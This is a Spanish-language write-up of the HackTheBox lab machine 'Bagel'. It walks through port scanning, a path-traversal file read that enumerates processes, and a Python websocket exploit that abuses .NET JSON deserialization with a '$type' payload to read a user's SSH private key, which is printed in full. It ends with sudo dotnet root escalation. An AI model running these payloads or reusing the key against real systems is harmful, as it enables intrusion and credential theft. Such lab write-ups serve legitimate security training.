Bagel es una máquina de dificultad media en HTB. Es una máquina con un LFI que nos permite saber los procesos del sistema, después obtendremos credenciales y abusaremos de un JSON Deserialization para poder acceder a la máquina. Saltaremos a un usuario gracias a las credenciales y por último abusaremos de dotnet para leer la flag.
Enumeración
Escaneo de puertos
Iniciamos la máquina realizando un escaneo general de puertos para intentar descubrir todos los abiertos y lo guardamos con un formato de fichero "Grepeable".
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.159.158 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-19 21:07 CETInitiating SYN Stealth Scan at 21:07
Scanning 10.129.159.158 [65535 ports]
Discovered open port 22/tcp on 10.129.159.158
Discovered open port 8000/tcp on 10.129.159.158
Discovered open port 5000/tcp on 10.129.159.158
Completed SYN Stealth Scan at 21:08, 16.82s elapsed (65535 total ports)
Nmap scan report for 10.129.159.158
Host is up, received user-set (0.055s latency).
Scanned at 2023-02-19 21:07:58 CET for 17s
Not shown: 64405 closed ports, 1127 filtered ports
Reason: 64405 resets and 1127 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63
8000/tcp open http-alt syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 17.01 seconds
Raw packets sent: 83677 (3.682MB) | Rcvd: 70323 (2.813MB)
Hemos encontrado 3 puertos, que son el 22 que pertenece a SSH, el 5000 y el 8000 que seguramente sean puertos web.
Los parámetros utilizados son:
- -p- : Escaneo de todos los puertos. (65535)
- –open: Para que muestre solo los puertos abiertos
- -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
- -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitamos el descubrimiento de host mediante ping.
- -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.
Le pasamos la utilidad extractPorts para copiar los puertos en la clipboard y así agilizar el escaneo posterior con nmap.
Aquí realizamos la enumeración de servicios y versiones. En efecto los puertos anteriormente mencionados pertenecen a servicios web.
# Nmap 7.80 scan initiated Sun Feb 19 21:22:07 2023 as: nmap -p22,5000,8000 -sCV -oN targeted 10.129.159.158
Nmap scan report for 10.129.159.158
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Sun, 19 Feb 2023 20:21:37 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Sun, 19 Feb 2023 20:21:52 GMT
| Connection: close
| Help, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Sun, 19 Feb 2023 20:22:03 GMT
| Content-Length: 52
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (parts).)</h1>
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Sun, 19 Feb 2023 20:21:37 GMT
| Content-Length: 54
| Connection: close
| Keep-Alive: true
|_ <h1>Bad Request (Invalid request line (version).)</h1>
8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Sun, 19 Feb 2023 20:21:38 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Sun, 19 Feb 2023 20:21:32 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 263
| Location: http://bagel.htb:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.htm
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 19 21:23:49 2023 -- 1 IP address (1 host up) scanned in 101.97 seconds
Esta misma información la podemos ver de una manera mejor representada con whatweb.
Como podemos ver tiene 2 puertos web, el 5000 y el 8000. El puerto 5000 nos da un estado de error 400 y el puerto 8000 nos redirige al dominio bagel.htb.
Ponemos la IP y el dominio en el /etc/hosts.
Visitamos la web del puerto 8000, ya que la web del 5000 nos da error.
Hacemos fuzzing para intentar descubrir más directorios pero en este caso sin éxito.
❯ wfuzz -c --hc=404 -t 200 -w /snap/seclists/25/Discovery/Web-Content/directory-list-2.3-medium.txt http://bagel.htb:8000/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://bagel.htb:8000/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001584: 200 3 L 37 W 267 Ch "orders"
Podemos ver algo que hay un parámetro page en la URL así que intentamos hacer un LFI del fichero passwd.
En efecto podemos hacer un LFI, nos guardamos el passwd y miramos qué usuarios tiene. Los usuarios que tenemos son root, como siempre y dos usuarios más; developer y phil.
Probamos a intentar obtener archivos interesantes sin éxito, como el id_rsa o algún archivo log. Probamos a hacer un fuzzing a los procesos activos del sistema mediante un pequeño one liner.
❯ for i in $(seq 900 1000); do curl 10.129.160.55:8000/?page=../../../../proc/$i/cmdline -o -; echo " PID => $i"; done
File not found PID => 900
File not found PID => 901
File not found PID => 902
File not found PID => 903
File not found PID => 904
/usr/sbin/chronyd-F2 PID => 905
File not found PID => 906
File not found PID => 907
File not found PID => 908
File not found PID => 909
File not found PID => 910
File not found PID => 911
File not found PID => 912
/usr/sbin/irqbalance--foreground PID => 913
File not found PID => 914
File not found PID => 915
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll PID => 916
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll PID => 917
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll PID => 918
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll PID => 919
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll PID => 920
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll PID => 921
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll PID => 922
Encontramos unos procesos interesantes que apuntan a un archivo DLL. Nos los descargamos gracias al LFI para comprobar si es interesante.
Mediante dnSpy obtenemos una contraseña pertenece al usuario developer, pero al tratarse de una contraseña de base de datos, no nos podremos conectar por SSH.
Intrusión
JSON Deserialization
Creamos un pequeño script para que se conecte al puerto 5000 y le pasamos los datos tal y como se ven representado en el directorio orders.
#!/usr/bin/python3
import websocket,json
ws = websocket.WebSocket()
ws.connect("ws://10.129.159.166:5000/")
order = {"UserId": 1, "WriteOrder": "Prueba" ,"Test": "hola"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)
Ejecutamos el script y vemos como el directorio de orders cambia por el valor que le hemos puesto en WriteOrder.
Cambiamos algunas cosas del script después de varios intentos sin que funcionase nada.
#!/usr/bin/python3
import websocket,json
ws = websocket.WebSocket()
ws.connect("ws://10.129.159.226:5000/")
order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": "../../../../../../home/phil/.ssh/id_rsa" }}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)
Ejecutamos el script y hemos podido leer el id_rsa del usuario phil.
> python3 exploit.py
{
"UserId": 0,
"Session": "Unauthorized",
"Time": "2:03:01",
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
"WriteFile": null
},
"WriteOrder": null,
"ReadOrder": null
}
Mediante el id_rsa podremos acceder y leemos el user.txt.
![[ssh-access 1.png]]
Escalada de Privilegios
Si probamos de cambiarnos de usuario con las credenciales del DLL podremos acceder al usuario developer.
Como conocemos la contraseña del usuario developer miramos si tiene algún permiso especial y parece que puede ejecutar dotnet como si fuese root.
[developer@bagel shm]$ sudo -l
Matching Defaults entries for developer on bagel:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
Abusando de dotnet
Con dotnet nos conectamos para poder obtener comandos de manera interactiva y como nos conectamos como root podemos leer la flag.